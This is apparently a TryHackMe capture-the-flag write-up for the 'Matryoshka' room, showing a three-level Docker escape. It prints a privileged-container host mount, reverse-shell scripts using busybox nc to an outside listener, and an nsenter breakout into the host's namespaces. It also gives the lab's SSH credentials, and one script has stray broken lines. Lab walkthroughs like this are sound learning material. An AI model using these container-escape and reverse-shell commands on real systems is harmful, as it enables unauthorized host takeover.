> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/matryoshka.md).

# Matryoshka

{% embed url="<https://tryhackme.com/room/matryoshka>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

You set up a containment unit designed to trap and contain even the most nefarious viruses, but you accidentally got trapped in it while testing it.

Your memory is fuzzy, and you don't remember much about how you set it up.

Good luck!

Use the credentials below to connect to the target VM.

`ssh matryoshka@<IP>` `password:n03sk@p3`

## Summary

<details>

<summary>Summary</summary>

In Matryoshka, we begin with SSH credentials for `matryoshka@<IP>` and land inside a Docker container, confirmed by the presence of `/.dockerenv` at the root of the filesystem. Initial enumeration reveals the `docker` CLI is available from within the container and that an `alpine:3.20` image is present locally, indicating the Docker socket is exposed to us. We spawn a new Alpine container with `--privileged --pid=host --net=host -v /:/host` and `chroot` into the bind-mounted host filesystem, granting us a root shell on the daemon host where the first flag sits in `/root`.

Filesystem enumeration of the alpine container exposes a shared directory at `/mnt/level3share` containing `inbox` and `outbox`folders, the hint suggests a script-runner pattern where files dropped into `inbox` are executed by another container. We drop a Bash reverse shell script targeting our listener on port `4445` and receive a short-lived callback that yields the second flag before the connection dies.

To stabilise enumeration of the second container, we pivot to a script that writes its output to `outbox/pwn.sh.out`, dumping `id`, `hostname`, `uname`, cgroups, mounts, network interfaces, and a full `ps auxf` listing. The process tree confirms that level 3 itself was launched with `--privileged --pid=host`, meaning its PID 1 is the EC2 host's `systemd` and `CAP_SYS_ADMIN` is available. We abuse this by dropping a script that runs `nsenter -t 1 -a -- sh -c '...'` to enter all of PID 1's namespaces (mount, UTS, IPC, network, PID, cgroup, user), effectively breaking out onto the underlying EC2 host where the final flag is recovered from `/root`.

</details>

## Level 1

The scenario description makes gives us a hint that we may be dealing with a sandbox or a Docker escape. We connect to the target via SSH using the provided credentials and skip the enumeration for now.

{% code overflow="wrap" expandable="true" %}

```
ssh matryoshka@10.113.158.245
```

{% endcode %}

On the target, we can see that we are indeed inside a Docker container; we see the /.dockerenv file in the root directory. We can now proceed manually or using enumeration scripts like `deepce.sh`. However, we'll start by doing it manually first and see if we can control Docker from within the container. We see that the `docker` command is available and the matryoshka-level1 is running. Perhaps the container we're currently in... Starting the container takes us to an environment similar to the one we are already in.

{% code overflow="wrap" expandable="true" %}

```
docker ps
```

{% endcode %}

<figure><img src="/files/HE0i6hDguWNq656g6WgX" alt=""><figcaption></figcaption></figure>

We query for other images and find an alpine image.&#x20;

{% code overflow="wrap" expandable="true" %}

```
docker images
```

{% endcode %}

<figure><img src="/files/SecGpXJVYyGeMu0DBalQ" alt=""><figcaption></figcaption></figure>

We spawn the alpine container, via `--privileged --pid=host --net=host -v /:/host`, to obtain a root shell and mount the host's root filesystem into the container, but without success. The first flag can be found at `/root/flag_level2.txt` of the alpine container.

{% code overflow="wrap" expandable="true" %}

```
docker run -it --rm --privileged --pid=host --net=host \
  -v /:/host alpine:3.20 chroot /host /bin/sh
```

{% endcode %}

<figure><img src="/files/cHRXqhYMFDJT6PiZ3XVq" alt=""><figcaption></figcaption></figure>

## Level 2

Inside the container we find the folder `level3share` mounted. There we have an inbox and outbox folder.

{% code overflow="wrap" expandable="true" %}

```
ls /mnt
```

{% endcode %}

<figure><img src="/files/ChJhCml6dH7FCpNprfKt" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Yo2Zl2UMrqcmVCcFRpt5" alt=""><figcaption></figcaption></figure>

The hint provided by the scenraio gives us the clue, that the folder allows script exection. Maybe if we place a script inside that folder it gets executed by another container or the host.&#x20;

<details>

<summary>hint</summary>

This is the hint you’re looking for: Look for an Inbox folder that allows script executions.

</details>

We place a simple reverse shell script inside the inbox folder and set up a listener on port `4445`.

{% code overflow="wrap" expandable="true" %}

```
cat > pwn.sh << 'EOF'
#!/bin/bash
busybox nc 192.168.135.32 4445 -e bash
} > "$OUT" 2>&1
chmod 666 "$OUT"
EOF
```

{% endcode %}

<figure><img src="/files/GbbE32lAYsx5GpuwzWwC" alt=""><figcaption></figcaption></figure>

We receive a connection, but the connection dies after some seconds. Nevertheless we are able to grab the second flag.

{% code overflow="wrap" expandable="true" %}

```
nc -lnvp 4445
```

{% endcode %}

<figure><img src="/files/QpUasDkNA4b9jIxcWXyX" alt=""><figcaption></figcaption></figure>

## Level 3

To enumerate the second Docker container in one go without relying on a stable reverse shell, we craft the following script (enhanced by Claude). It pulls the current user/ID, hostname, kernel info, cgroup, mounts, network interfaces, and running processes, checks for a mounted `docker.sock` (potential escape vector), and hunts the filesystem for flags. From a previous attempt we saw that the the runner is already redirecting our script's stdout/stderr to `outbox/pwn.sh.out`

{% code overflow="wrap" expandable="true" %}

```
cat > pwn.sh << 'EOF'
#!/bin/sh
echo "=== id ===";           id
echo "=== hostname ===";     hostname; cat /etc/hostname 2>/dev/null
echo "=== uname ===";        uname -a
echo "=== cgroup ===";       cat /proc/1/cgroup 2>/dev/null
echo "=== /root ===";        ls -la /root 2>&1
echo "=== flags ===";        find / -xdev -name 'flag*' -type f 2>/dev/null
echo "=== flag content ==="; cat /root/flag*.txt 2>/dev/null
echo "=== docker.sock ==="; ls -la /var/run/docker.sock 2>/dev/null
echo "=== share mount ===";  mount | grep -iE 'share|level' 2>/dev/null
echo "=== mounts (head) ==="; mount | head -20
echo "=== net ===";           ip a 2>/dev/null || ifconfig 2>/dev/null
echo "=== ps ===";            ps auxf 2>/dev/null || ps -ef 2>/dev/null
EOF

chmod +x pwn.sh
```

{% endcode %}

We check the outbox and see the results. We can identfy the second flag, which we already got from our reverse shell.

{% code overflow="wrap" expandable="true" %}

```
cat /mnt/level3share/outbox/pwn.sh.out
```

{% endcode %}

<figure><img src="/files/D8S5GKX9APF5QKkksAK1" alt=""><figcaption></figcaption></figure>

The most interesting part is the output from `ps aux`.

<figure><img src="/files/61mhp3kEsnJBqJLocL3I" alt=""><figcaption></figcaption></figure>

The Level 3 container was started with `--privileged --pid=host`. With `--pid=host`, Level 3 shares the host's PID namespac, PID 1 inside the container is the EC2 host's `systemd`. The `--privileged` flag gives us `CAP_SYS_ADMIN`, which we then leverage with `nsenter` to attach to PID 1's namespaces and gain a shell on the host.

So with `nsenter -t 1 -a` we enter PID 1's mount/UTS/IPC/net/PID/cgroup namespaces... that's the host. From there we could reach the host. We craft the following script to reach out to the host. A small explanation what happens:

`-t 1` means target PID 1. Normally PID 1 inside a container is the container's own init. But level 3 was started with `--pid=host`, which means it shares the host's PID namespace. So what level 3 calls PID 1 is actually the EC2 host's `systemd`. That's exactly the process whose namespaces we want to enter.

`-a` is shorthand for all namespaces. Equivalent to writing out `-m -u -i -n -p -C -U` (mount, UTS/hostname, IPC, network, PID, cgroup, user). Without it we'd only enter some namespaces and get a weird half-container/half-host hybrid.

`--` is the standard POSIX argument terminator. Everything after it is the command to run inside the new namespaces, not more flags for nsenter.

`sh -c '...'` runs the quoted string as a shell command. we need a shell because we want to chain multiple commands with, use pipes, and run a `while` loop.&#x20;

We run the script and receive the final flag.

{% code overflow="wrap" expandable="true" %}

```
cat > pwn.sh << 'EOF'
#!/bin/sh
# Level 3 has --privileged --pid=host, so PID 1 here is the EC2 host's init.
# nsenter into all of PID 1's namespaces to break out onto the host.
nsenter -t 1 -a -- sh -c '
  echo "=== HOST id ==="; id
  echo "=== HOST hostname ==="; hostname
  echo "=== HOST uname ==="; uname -a
  echo "=== HOST /root ==="; ls -la /root
  echo "=== HOST FLAG ==="; cat /root/flag*.txt 2>&1
  echo "=== all flags ==="
  find / -xdev -name "flag*" -type f 2>/dev/null | while read f; do
    echo "--- $f ---"; cat "$f"
  done
  echo "=== matryoshka.env ==="; cat /etc/matryoshka.env 2>/dev/null
  echo "=== matryoshka_attach ==="; cat /usr/local/sbin/matryoshka_attach 2>/dev/null
'
EOF

chmod +x pwn.sh
sleep 4
cat /mnt/level3share/outbox/pwn.sh.out
```

{% endcode %}

<figure><img src="/files/sJmOQ8M0y3E2LVybko24" alt=""><figcaption></figcaption></figure>

We could also try to get a reverse shell...

{% code overflow="wrap" expandable="true" %}

```bat
cat > pwn.sh << 'EOF'
#!/bin/sh
# Level 3 has --privileged --pid=host, so PID 1 here is the EC2 host's init.
# nsenter into all of PID 1's namespaces to break out onto the host.
nsenter -t 1 -a -- sh -c 'busybox nc 192.168.135.32 4445 -e bash'
EOF
chmod +x pwn.sh
```

{% endcode %}

<figure><img src="/files/i1UrMX0c8mNqbzstTWAS" alt=""><figcaption></figcaption></figure>

... we get a connection to the host, but it dies after some seconds too.

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445
```

{% endcode %}

<figure><img src="/files/7Ma28nMblQEmU87zQ2k4" alt=""><figcaption></figcaption></figure>
